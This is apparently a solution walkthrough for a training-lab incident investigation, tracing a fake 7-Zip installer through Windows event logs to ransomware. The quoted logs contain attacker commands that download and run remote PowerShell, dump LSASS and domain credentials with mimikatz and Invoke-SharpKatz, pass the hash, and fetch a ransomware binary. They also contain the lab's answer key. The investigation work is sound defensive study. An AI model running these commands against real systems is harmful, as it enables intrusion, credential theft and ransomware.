

1) What is the URL of the malicious software that was downloaded by the victim user?

Files downloaded from the internet most often have the HostURL appended to **Event ID 15**. (When composing the request, I use the information provided in the task description: www.7zipp.org.)

Search query: event.code: 15 AND *www.7zipp.org*

1 hit

Time	winlog.event_data.Contents
Sep 26, 2023 @ 14:22:07.433	[ZoneTransfer] ZoneId=3 HostUrl= <u>http://www.7zipp.org/a/7z2301-x64.msi</u>

Answer: <http://www.7zipp.org/a/7z2301-x64.msi>

2) What is the IP address of the domain hosting the malware?

To solve this, we need to look at **Event ID 22**, since this is a DNS log that contains both the URL and the destination IP address

Search query: *www.7zipp.org* AND event.code: 22

9 hits

Time	dns.resolved_ip	dns.question.registered_domain
Sep 26, 2023 @ 14:23:02.228	206.189.34.218	7zipp.org
Sep 26, 2023 @ 14:54:02.524	206.189.34.218	7zipp.org
Sep 26, 2023 @ 14:55:03.449	206.189.34.218	7zipp.org
Sep 26, 2023 @ 14:56:08.212	206.189.34.218	7zipp.org

Answer: 206.189.34.218

3) What is the PID of the process that executed the malicious software?

We just need to examine **Event ID 1** to see which process launched the previously downloaded file ([7z2301-x64.msi](#))

Search query: event.code: 1

294 hits

Time	process.name	process.command_line	process.parent.name	process.parent.command_line	process.pid
Sep 26, 2023 @ 14:16:53.180	elevation_service.exe	"C:\Program Files\Google\Chrome\Application\117.0.5938.92\elevation_service.exe"	services.exe	C:\Windows\system32\services.exe	4,956
Sep 26, 2023 @ 14:20:38.455	MicrosoftEdgeUpdate.exe	"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler	svchost.exe	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule	1,868
Sep 26, 2023 @ 14:23:00.817	msiexec.exe	"C:\Windows\System32\msiexec.exe" /i "C:\Users\perry.parsons\Downloads\7z2301-x64.msi"	chrome.exe	"C:\Program Files\Google\Chrome\Application\chrome.exe"	<u>2,532</u>
Sep 26, 2023 @ 14:23:00.989	msiexec.exe	C:\Windows\system32\msiexec.exe /V	services.exe	C:\Windows\system32\services.exe	1,240

Answer: 2532

- 4) Following the execution chain of the malicious payload, another remote file was downloaded and executed. What is the full command line value of this suspicious activity?
- 5) The newly downloaded script also installed the legitimate version of the application. What is the full file path of the legitimate installer?
- 6) What is the name of the service that was installed?

To solve this task, you just need to further investigate **Event ID 1**

Time	Process Name	Command Line	Parent Process	PID
Sep 26, 2023 @ 14:23:02.912	msiexec.exe	C:\Windows\syswow64\msiexec.exe -Embedding 8A7C5575B0A6B7FE2FDB71A306357E52 E Global\MSI0000	C:\Windows\system32\msiexec.exe /V	2,492
Sep 26, 2023 @ 14:23:02.912	MSI542E.tmp	"C:\Windows\Installer\MSI542E.tmp"	C:\Windows\system32\msiexec.exe /V	10,012
Sep 26, 2023 @ 14:23:02.935	powershell.exe	powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)	MSI542E.tmp	4,248
Sep 26, 2023 @ 14:23:07.165	7zlegit.exe	"C:\Windows\Temp\7zlegit.exe" /S	powershell.exe	992
Sep 26, 2023 @ 14:23:23.114	sc.exe	"C:\Windows\system32\sc.exe" create 7zService binpath= "C:\Program Files\7-zip\7zipp.exe" start=auto obj=LocalSystem	powershell.exe	9,892

Q4 Answer: **powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)**

Q5 Answer: **C:\Windows\Temp\7zlegit.exe**

Q6 Answer: **7zService**

- 7) The attacker was able to establish a C2 connection after starting the implanted service. What is the username of the account that executed the service?

You need to open the last log shown in the screenshot above, and then scroll down to the **related.user** field

Field	Value
process.parent.pid	4,248
process.pe.company	Microsoft Corporation
process.pe.description	Service Control Manager Configuration Tool
process.pe.file_version	10.0.17763.1 (WinBuild.160101.0800)
process.pe.imphash	b037d0adb81bf9cfc651de01742089f1
process.pe.original_file_name	sc.exe
process.pe.product	Microsoft® Windows® Operating System
process.pid	9,892
process.working_directory	C:\Windows\system32\
related.hash	293a38365bee67829ae093d10bf4bc85, 604492b8398751f0798079cec26d674c125885f55b2beab1bc484ebdb723bb63, b037d0adb81bf9cfc651de01742089f1
related.user	SYSTEM

Answer: **SYSTEM**

8) After dumping LSASS data, the attacker attempted to parse the data to harvest the credentials. What is the name of the tool used by the attacker in this activity?

To solve this task, nothing new is required except to continue the chronological analysis of **event ID 1**

Time	Process Name	Command Line	Parent Process Name	Parent Command Line	PID
Sep 26, 2023 @ 14:24:58.110	cmd.exe	/c systeminfo	rundll32.exe	"C:\Windows\system32\rundll32.exe" "C:\Program Files\7-zip\7zipp.dll",Start	9,220
Sep 26, 2023 @ 14:24:58.141	systeminfo.exe	systeminfo	cmd.exe	/c systeminfo	4,120
Sep 26, 2023 @ 14:24:59.717	TrustedInstaller.exe	C:\Windows\servicing\TrustedInstaller.exe	services.exe	C:\Windows\system32\services.exe	8,280
Sep 26, 2023 @ 14:24:59.769	TiWorker.exe	C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.17763.4121_non-e_5703f42b990865ed\TiWorker.exe -Embedding	-	-	9,964
Sep 26, 2023 @ 14:25:18.945	powershell.exe	-C iex(iwr http://206.189.34.218/a/pwrex.ps1 -useb); Invoke-Powercat -PathToDMP C:\windowstemp\trash.evtx;	-	-	10,536

Answer: **Invoke-Powercat**

9) What is the credential pair that the attacker leveraged after the credential dumping activity? (format: username:hash)

This problem can also be solved by searching by keywords (for example ***mimikatz***), but personally I continued with a linear investigation

Time	Process Name	Command Line	Parent Process Name	Parent Command Line	PID
Sep 26, 2023 @ 14:28:15.385	WerFault.exe	C:\Windows\system32\WerFault.exe -u -p 4208 -s 880	7zipp.exe	"C:\Program Files\7-zip\7zipp.dll",Start	9,220
Sep 26, 2023 @ 14:28:53.575	powershell.exe	-C iwr https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile m.zip	-	-	9,964
Sep 26, 2023 @ 14:29:08.621	powershell.exe	-C Expand-Archive m.zip	-	-	9,964
Sep 26, 2023 @ 14:29:43.427	cmd.exe	/c .\mimikatz.exe 'sekurlsa:pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852A0B8BD4E00564128E0A5EA2BC4CF /run:powershell.exe' 'exit'	-	-	10,536

Answer: **james.cromwell:B852A0B8BD4E00564128E0A5EA2BC4CF**

10) After gaining access to the new account, the attacker attempted to reset the credentials of another user. What is the new password set to this target account?

Initially, I tried to find events related to password changes (for example, 4723, 4724), but unfortunately, they were apparently cut from the index.

Timestamp	Process Name	Command Line	Score
Sep 26, 2023 @ 14:31:16.345	cmd.exe	/c net users anna.jones pwn3dpw!!! /domain	2,756
Sep 26, 2023 @ 14:31:16.391	net.exe	net users anna.jones pwn3dpw!!! /domain	11,844
Sep 26, 2023 @ 14:31:16.481	net1.exe	C:\Windows\system32\net1 users anna.jones pwn3dpw!!! /domain	3,844
Sep 26, 2023 @ 14:31:36.357	WerFault.exe	C:\Windows\system32\WerFault.exe -pss -s 556 -p 4208 -ip 4208	7,920
Sep 26, 2023 @ 14:31:36.413	WerFault.exe	C:\Windows\system32\WerFault.exe -u -p 4208 -s 844	8,380

Answer: pwn3dpw!!!

11) What is the name of the workstation where the new account was used?

I used **Event ID 4624** along with the account name from **Task 10** and filtered the results by host.

Timestamp	Host Name
Sep 26, 2023 @ 14:59:43.187	WKSTN-02
Sep 26, 2023 @ 15:00:05.234	WKSTN-02
Sep 26, 2023 @ 15:00:05.484	WKSTN-02
Sep 26, 2023 @ 15:00:05.681	WKSTN-02
Sep 26, 2023 @ 15:00:07.317	WKSTN-02

Answer: WKSTN-02

12) After gaining access to the new workstation, a new set of credentials was discovered. What is the username, including its domain, and password of this new account?

And again, I performed a linear analysis of **Event ID 1**, but this time I decided to filter by **agen.hostname: WKSTN-02** to optimize the time

Timestamp	Process Name	Command Line
Sep 26, 2023 @ 15:15:34.385	powershell.exe	-C \$username='SSF\itadmin'; \$password='No06@39Sk0!'; \$securePassword = ConvertTo-SecureString \$password -AsPlainText -Force; \$new_creds = New-Object System.Management.Automation.PSCredential \$username \$securePassword;

Answer: **SSF\itadmin:NoO6@39Sk0!**

13) Aside from mimikatz, what is the name of the PowerShell script used to dump the hash of the domain admin?

The same approach was used here: I continued investigating **Event ID 1**.

```
-C, iex(iwr, https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpKatz.ps1, -useb); Invoke-Sharpkatz, -Command, --Command, dcsync, --Domain, swiftspendfinancial.thm, --DomainController, DC-01.swiftspendfinancial.thm, --User, damian.hall
```

Answer: **Invoke-SharpKatz.ps1**

14) What is the AES256 hash of the domain admin based on the credential dumping output?

To solve this task, we need to search for the keyword ***aes256***, as that is what we are looking for. We should also search for ***damian***, which is provided in the question.

host.hostname: "WKSTN-02" AND message: *aes256* AND message: *damian*

2 hits

Time	Document
Sep 26, 2023 @ 15:36:10.853	host.hostname: WKSTN-02 message: Pipeline execution details for command line: . Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=27 UserId=SSF\anna.jones HostName=ConsoleHost HostVersion=5.1.17763.3770 HostId=56be244c-fdc9-41b0-969a-8dac01e04216 HostApplication=C iex(iwr https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpKatz.ps1 -useb); Invoke-Sharpkatz -Command '--Command dcsync --Domain swiftspendfinancial.thm --DomainController DC-01.swiftspendfinancial.thm --User damian.hall' EngineVersion=5.1.17763.3770 RunspaceId=34ade1b6-
Sep 26, 2023 @ 15:36:10.864	host.hostname: WKSTN-02 message: CommandInvocation(Out-Default): "Out-Default" ParameterBinding(Out-Default): name="InputObject"; value="[*] [*] System Information [*] [*] Platform: Win32NT [*] [*] Major: 10 Minor: 0 Build: 17763 [*] [*] Version: Microsoft Windows NT 10.0.17763.0 [*] [*] swiftspendfinancial.thm will be

host.hostname: "WKSTN-02" AND message: *aes256* AND message: *damian*

2 hits

[*] Supplemental Credentials:	
[*] * Primary:NTLM-Strong-NTOWF	
[*] Random Value : 7e924a3c59c21ee1c3795df83122e151	
[*] * Primary:Kerberos-Newer-Keys	
[*] Default Salt : SWIFTSPENDFINANCIAL.THMDamian.hall	
[*] Credentials	
534	aes256_hmac 4096: f28a16b8d3f5163cb7a7f7ed2c8f2cf0419f0b0c2e28c15f831d050f5edaa534
534	aes128_hmac 4096: c3cf50bb6ca4d0c6bec3aed1909d35ae
534	des_cbc_md5 4096: 85c84c4957e34a10
[*] ServiceCredentials	
[*] OldCredentials	
534	aes256_hmac 4096: f28a16b8d3f5163cb7a7f7ed2c8f2cf0419f0b0c2e28c15f831d050f5edaa534
534	aes128_hmac 4096: c3cf50bb6ca4d0c6bec3aed1909d35ae
534	des_cbc_md5 4096: 85c84c4957e34a10
[*] OlderCredentials	
[*] * Primary:Kerberos	
[*] Default Salt : SWIFTSPENDFINANCIAL.THMDamian.hall	
[*] Credentials	

Answer: **f28a16b8d3f5163cb7a7f7ed2c8f2cf0419f0b0c2e28c15f831d050f5edaa534**

15) After gaining domain admin access, the attacker popped ransomware on workstations. How many files were encrypted on all workstations?

It is necessary to detect additional malicious scripts uploaded to the infected host.

event.code: 1

294 hits

Time	Process	Command	Parent Process	Parent Command
Sep 26, 2023 @ 15:40:43.845	wsmprovhost.exe	C:\Windows\system32\wsmprovhost.exe -Embedding	-	-
Sep 26, 2023 @ 15:40:44.056	whoami.exe	"C:\Windows\system32\whoami.exe"	wsmprovhost.exe	C:\Windows\system32\wsmprovhost.exe -Embedding
Sep 26, 2023 @ 15:40:44.155	HOSTNAME.EXE	"C:\Windows\system32\HOSTNAME.EXE"	wsmprovhost.exe	C:\Windows\system32\wsmprovhost.exe -Embedding
Sep 26, 2023 @ 15:41:29.236	powershell.exe	-C Invoke-Command -ScriptBlock {iwr http://www.7zipp.org/a/777bomb.exe -outfile C:\Users\perry.parsons\bomb.exe; ; dir C:\Users\perry.parsons} -ComputerName WKSTN-03.swiftspendfinancia l.thm	-	-

Next, I filtered the logs by **Event ID 11** and ***bomb.exe***, which was the name of the malicious file/script identified above, in order to find file modifications.

event.code: 11 AND *bomb.exe*

48 hits

Time	Document
Sep 26, 2023 @ 15:45:08.148	event.code: 11 message: File created: RuleName: Downloads UtcTime: 2023-09-26 15:45:08.148 ProcessGuid: {9e7a9aa0-fc83-6512-0e05-000000004f02} ProcessId: 7616 Image: C:\Users\anna.jones\bomb.exe TargetFilename: C:\Users\anna.jones\Downloads\m\Win32\mimilib.dll 777zzz CreationUtcTime: 2023-09-26 15:45:08.148 User: SSF\damian.hall process.executable: C:\Users\anna.jones\bomb.exe process.name: bomb.exe @timestamp: Sep 26, 2023 @ 15:45:08.148 agent.ephemeral_id: b1975cce-4a78-4aa5-b9a1-38d57459e93b agent.hostname: WKSTN-02 agent.id: d4a9b211-5bd4-4cd0-9fbb-
Sep 26, 2023 @ 15:45:08.148	event.code: 11 message: File created: RuleName: Downloads UtcTime: 2023-09-26 15:45:08.148 ProcessGuid: {9e7a9aa0-fc83-6512-0e05-000000004f02} ProcessId: 7616 Image: C:\Users\anna.jones\bomb.exe TargetFilename: C:\Users\anna.jones\Downloads\m\Win32\mimilove.exe 777zzz CreationUtcTime: 2023-09-26 15:45:08.148 User: SSF\damian.hall process.executable: C:\Users\anna.jones\bomb.exe process.name: bomb.exe @timestamp: Sep 26, 2023 @ 15:45:08.148 agent.ephemeral_id: b1975cce-4a78-4aa5-b9a1-38d57459e93b agent.hostname: WKSTN-02 agent.id: d4a9b211-5bd4-4cd0-9fbb-
Sep 26, 2023 @ 15:45:08.148	event.code: 11 message: File created: RuleName: Downloads UtcTime: 2023-09-26 15:45:08.148 ProcessGuid: {9e7a9aa0-fc83-6512-0e05-000000004f02} ProcessId: 7616 Image: C:\Users\anna.jones\bomb.exe TargetFilename: C:\Users\anna.jones\Downloads\m\Win32\mimispool.dll 777zzz CreationUtcTime: 2023-09-26 15:45:08.148 User: SSF\damian.hall process.executable: C:\Users\anna.jones\bomb.exe process.name: bomb.exe @timestamp: Sep 26, 2023 @ 15:45:08.148

To eliminate unnecessary events, I refined the query by adding the **".777zzz"** file extension to get the exact number of affected files.

event.code: 11 AND *.777zzz*

46 hits

Time	Document
Sep 26, 2023 @ 15:45:08.148	event.code: 11 message: File created: RuleName: Downloads UtcTime: 2023-09-26 15:45:08.148 ProcessGuid: {9e7a9aa0-fc83-6512-0e05-000000004f02} ProcessId: 7616 Image: C:\Users\anna.jones\bomb.exe TargetFilename: C:\Users\anna.jones\Downloads\m\Win32\mimispool.dll 777zzz CreationUtcTime: 2023-09-26 15:45:08.148 User: SSF\damian.hall process.executable: C:\Users\anna.jones\bomb.exe process.name: bomb.exe @timestamp: Sep 26, 2023 @ 15:45:08.148

Answer: 46

PS. I didn't particularly like this room, as it was mostly focused on investigating Event ID 1. I would consider the room easy overall, but it requires a lot of attention to detail.